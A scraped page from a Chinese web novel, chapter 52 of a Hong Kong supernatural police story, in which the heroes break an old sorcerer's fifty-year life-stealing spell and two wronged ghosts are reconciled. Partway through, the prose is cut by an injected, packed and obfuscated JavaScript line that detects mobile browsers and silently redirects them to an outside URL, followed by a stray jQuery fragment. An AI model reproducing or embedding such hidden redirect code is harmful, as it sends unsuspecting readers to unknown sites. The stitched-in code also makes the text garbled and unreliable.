文趣网 > 其他小说 > 七号差馆[香江九零] > 52. 第 52 章
    阴阳双气轰然相撞,爆发出惊天动地的巨响!

    一红一白两道磅礴洪流,如两条决堤的怒龙,横贯并席卷了整条阴森诡异的纸扎长巷,所过之处,纸屑狂舞,阴风怒号。

    红衣阿绣那积蓄了五十年的滔天恨意,炽烈得如同焚天之火,誓要将一切人为施加的枷锁、虚妄不实的封印,统统焚烧殆尽,不留一丝灰烬。

    素衣匠人那沉淀了半生的深沉悲恸,则柔和纯净如九天之水,默默涤荡着内心深处积年的愧疚、以及那些被迫沾染的累累恶业。

    相互纠缠、彼此折磨了整整五十载的双重冤屈与执念,于今日此刻,终于不再互相锁死、不再尖锐对立。

    那深重的冤屈,理解了愧疚的苦楚;而那无尽的愧疚,亦渡化了冤屈的戾气。

    两股同源而出却性质迥异的至阴之气,在碰撞中并非湮灭,反而奇迹般地开始交融、共生,最终化作一道澄澈通透、却又蕴含无匹威能的阴阳罡风。这道罡风逆势而起,扶摇直上,以决绝之势,狠狠撞向了那老者以邪法凝成的、污浊厚重的黑色阴煞气运!

    轰隆——!

    震耳欲聋的爆鸣声中,整条古老巷道剧烈震颤,仿佛地龙翻身。铺设了百年的青石板路面寸寸龟裂,绽开无数蛛网般的细密纹路;墙根处湿滑的青苔,更是在能量冲击下尽数焦枯萎缩,失去了所有生机。

    那老者被这股巨力逼迫得彻底显露出苍老佝偻的真身,他猛地一僵,瞳孔骤然收缩成针尖大小。脸上那依靠窃取他人气运而维持了数十年的虚伪红润肤色,此刻如同褪色的画布,以肉眼可见的速度飞速衰败、干瘪下去,最终化为一片死气沉沉的灰白。

    他赖以为生、窃命延寿的“三命闭环”邪术根基,在这一击之下,彻底断裂、崩毁!

    “不可能!!这绝不可能!!”

    老者发出嘶哑癫狂的吼叫,状若疯魔,一双枯瘦的手掌以前所未有的速度疯狂结出各种阴邪手印,拼命压榨、抽取着巷子底部仅存的残余地脉煞气。

    “我于此地布道五十年、养煞五十年、稳局五十年!!整整五十年的苦功!凭什么……凭什么就败在几个孤魂野鬼、区区两个后生仔的手上?!”

    “是我!是我以无上阴术镇压了西环百年的动荡祸乱!我有功于斯土!我何错之有!!”

    他嘶吼着,将一生自欺欺人的谎言喊得震天响,早已将那献祭无辜性命、窃夺他人运势以偷换寿元的邪恶勾当,自我催眠成了济世安民的莫大功德。

    阿正踏步向前,逆着漫天飞舞的惨白纸钱与污浊黑风,眸光如冰似雪,冷彻骨髓,字字句句,皆如利剑,直诛其心:

    “借无辜者的血肉骸骨铺就你的前行之路,凭他人的冤屈苦楚换取你一人的苟延残生。”

    “窃夺命数为贼,饲喂煞气为邪。你这一生所为,从头至尾,从未沾染过半分为人、为道的正气!”

    话音如惊雷落地,他旋即抬手,五指翻飞间结出一个古朴方正的法印,指尖倏地凝聚出一点至精至纯、沛然莫御的人间阳刚正气,稳稳点向那正在交融翻滚的磅礴阴阳气浪。

    “双冤今日得昭雪,天地正气当归位。”

    “所有你窃取而来的运势,尽数——物归原主!”

    唰——!

    一声清越激昂、仿佛能划破长夜的破空锐响骤然迸发!

    那红白交融、浑然一体的刚猛罡风,应声轰然炸裂,顷刻间化作万千晶莹剔透、细碎璀璨的光之雨点,以席卷一切之势,涤荡过纸扎长巷的每一寸角落、每一片阴影!

    最先崩碎的,是漫天锁煞纸人。

    上百只林立于巷中的纸煞阴兵,其僵硬的躯体开始寸寸开裂、逐渐虚化、最终彻底溃散,仿佛从未存在过一般。那些曾用来害人、锁魂、守护阵法的锋利纸刃,也在顷刻之间化为漫天飞舞的灰烬,随风四散而去,再无踪影。

    历经数十年,夜夜巡巷、岁岁镇煞的纸扎阴阵——在这一刻彻底瓦解,不复存在!

    紧接着,巷底铺面内残存的阴煞之气、深埋地脉的古老封印、人为精心布下的锁魂格局,都开始层层碎裂、尽数消融,如同冰雪遇阳般无声融化。

    最后一击,精准无误地落在老者身上。

    “不——!!”

    老者发出撕心裂肺的惨嚎,声音中满是不甘与绝望。

    他身上凭借五十年窃取而来的福寿、气运、安康、寿元,此刻如同退潮般逆流剥离,一点一滴归还于天地。乌黑的长发在瞬间变得雪白,饱满的面容骤然干瘪凹陷,挺拔的身躯也佝偻萎缩下去。

    不过瞬息之间,他从一个面色红润、精神矍铄的半百老者,化为一具风烛残年、行将就木的垂朽老人,仿佛所有的生机都被抽空。

    他身上萦绕半生的阴术光芒、镇局煞气、用以续命的缕缕黑气,也一寸寸地灰飞烟灭,消散于无形。

    术法已破、气运已断、寿元已尽。

    他透支半生所窃取的一切,如今尽数偿还给天地、偿还给那两条曾枉死的人命,了无遗留。

    马骝看得心神俱震,握着警棍的手缓缓松开,仿佛卸下了长久的重担。

    这位横行西环、操纵两代冤案、隐身幕后长达五十年的黑手,终于在这一刻,彻底跌落神坛,再无往日威势。

    叉烧叔长长吐出一口郁结多年的浊气,眼底尽是释然与平静:

    “术法或可欺人,却不可欺天。这五十年的闭环大局,终究抵不过一句——公道自在人心。”

    老者佝偻着身子,摇摇欲坠,眼中满是不甘、悔恨与疯狂,死死盯着阿正:“我谋划半生……只差十年……我便可超脱阴阳……成就永生……”

    阿正垂眸看着他,目光无悲无喜,只平静说道:“你踩着人命去超脱的路,从一开始,就是一条死路。”

    风定。

    尘落。

    纸散。

    整条纸扎巷中,笼罩五十年的阴翳、煞气、阴谋与血腥,终于被一扫而空。

    巷内长久积聚的漆黑与幽暗尽数褪去,远处街灯的微光得以穿透巷口,温柔地洒落进来,照亮斑驳的旧墙与干净平整的青石板路。

    纸扎铺内,原本青白森然的鬼火缓缓变得柔和明亮。

    素衣女匠人的虚影,不再颤抖、不再悲凉、不再背负那半生的枷锁。

    数十年间被迫作恶的愧疚、满门惨死的绝望、无人知晓的苦衷、被人利用的憋屈,在这一刻尽数消散,如云烟般无踪。

    她那双曾空洞无神的眼底,第一次透出一抹温柔而明亮的光彩,仿佛重见天日。

    巷外虚空之中,一缕浅红柔光缓缓飘落。

    那是早已解脱的林阿绣残魂,感知到这场跨越五十年的棋局终了,特意归来相见。

    一红一白两道虚影,在纸扎铺门前缓缓相对而立。

    相隔五十年的恩怨、误会、枷锁与纠缠。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714569|206456||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    今日,终于得以和解。

    当年,匠人迫于活命与族人安危,无奈扎鞋锁魂,困住阿绣半生自由。阿绣含冤受苦、不得轮回,却也间接困住匠人阴魂,令她无法解脱往生。

    彼此相欠,彼此煎熬。

    如今沉冤得雪,真相大白。

    所有因果,在此刻圆满。

    阿绣那一袭红衣的虚影在昏暗中微微颔首,面容平静,眼中既无怨怼,亦无恨意,仿佛一切过往都已化作云烟。

    匠人素衣的虚影亦轻轻躬身,姿态谦和,神情间流露出一种释然与解脱,似乎终于挣脱了漫长的束缚。

    往昔恩怨,至此一笔勾销;两段冤屈,尽数归于安宁。

    那两道纠缠了半生的亡魂,在昏朦的光晕中缓缓靠近、彼此交融,最终化作漫天温柔的光点,如星尘般洒满整座尘封的纸扎旧铺。

    从此以后——

    古井之中再无沉冤哀鸣,纸巷之内再无阴煞弥漫。

    西环这处双阴交缠的地脉,终于彻底清零,阴阳重归平衡,百年阴患自此终结。

    就在光点渐渐消散的刹那,一直瘫坐于地的垂朽老者,长长地、沉沉地吐出了最后一口气。

    他浑浊的双眼彻底失去了神采,身躯微微一歪,便再也没了气息。他寿元已尽、气运归零、术法尽破。以最狼狈、最荒芜的姿态,终结了这罪恶滔天的一生。

    持续五十年的阴局,终于迎来终局。

    ……

    夜色渐深,万籁渐静。

    巷中风停、尘落,灯火柔暖。

    马骝望着空荡而安宁的长巷,长长地松了一口气,浑身被冷汗浸透的衣衫终于渐渐回暖。他低声说道:“结束了……这一次,是真的结束了。”

    “古井悬案、纸铺灭门惨案、幕后窃运阴术案——这三桩横跨半个世纪的旧案,终于全部了结。”

    叉烧叔望着眼前焕然一新、再无半分阴气的纸扎巷,心中感慨万千:

    “西环之所以常年闹煞、怪事频发,从来不是此地天生不祥。而是人心藏恶,人为造煞。”

    “保长贪色施暴,是凡人之恶。匠人身不由己,是时局之恶。老者窃命布棋,是术法之恶。”

    层层叠叠的恶念交织,才造就了西环数十年的阴森诡谲、动荡难安。

    阿正抬起头,望向巷子上方澄澈通透的夜空,夜色清明,星月微露,光华静谧。

    积压在西环地界数十年的阴沉煞气,终于彻底烟消云散,再无踪迹。

    他缓缓抬手,将头顶那顶端正的警帽轻轻扶正。

    “阴阳有道,善恶有报。”

    “鬼邪尚可渡化,人心却难抚平。”

    “所有尘封的旧冤,终有得以昭雪的一日。”

    马骝揉了揉发酸僵硬的肩膀,咧嘴一笑,终于彻底卸下了所有紧绷与重负:“这下总算能踏踏实实睡个安稳觉了!西环这摊烂账,终究被咱们彻底收拾干净!”

    三人相视一笑,转身并肩,踏着温柔如水的夜色,缓步走出这条幽深的老巷。

    身后,那座废弃半生的祥和纸扎铺静静伫立,沉默如谜。

    再无扎纸细响、再无阴煞弥漫、再无百年棋局暗涌。

    只剩下一方安宁的旧土,默默安放着那两段被亏欠、被遗忘半生的温柔亡魂。

    西环最黑暗、最隐秘、最漫长的一页阴翳历史。

    自此,彻底翻篇。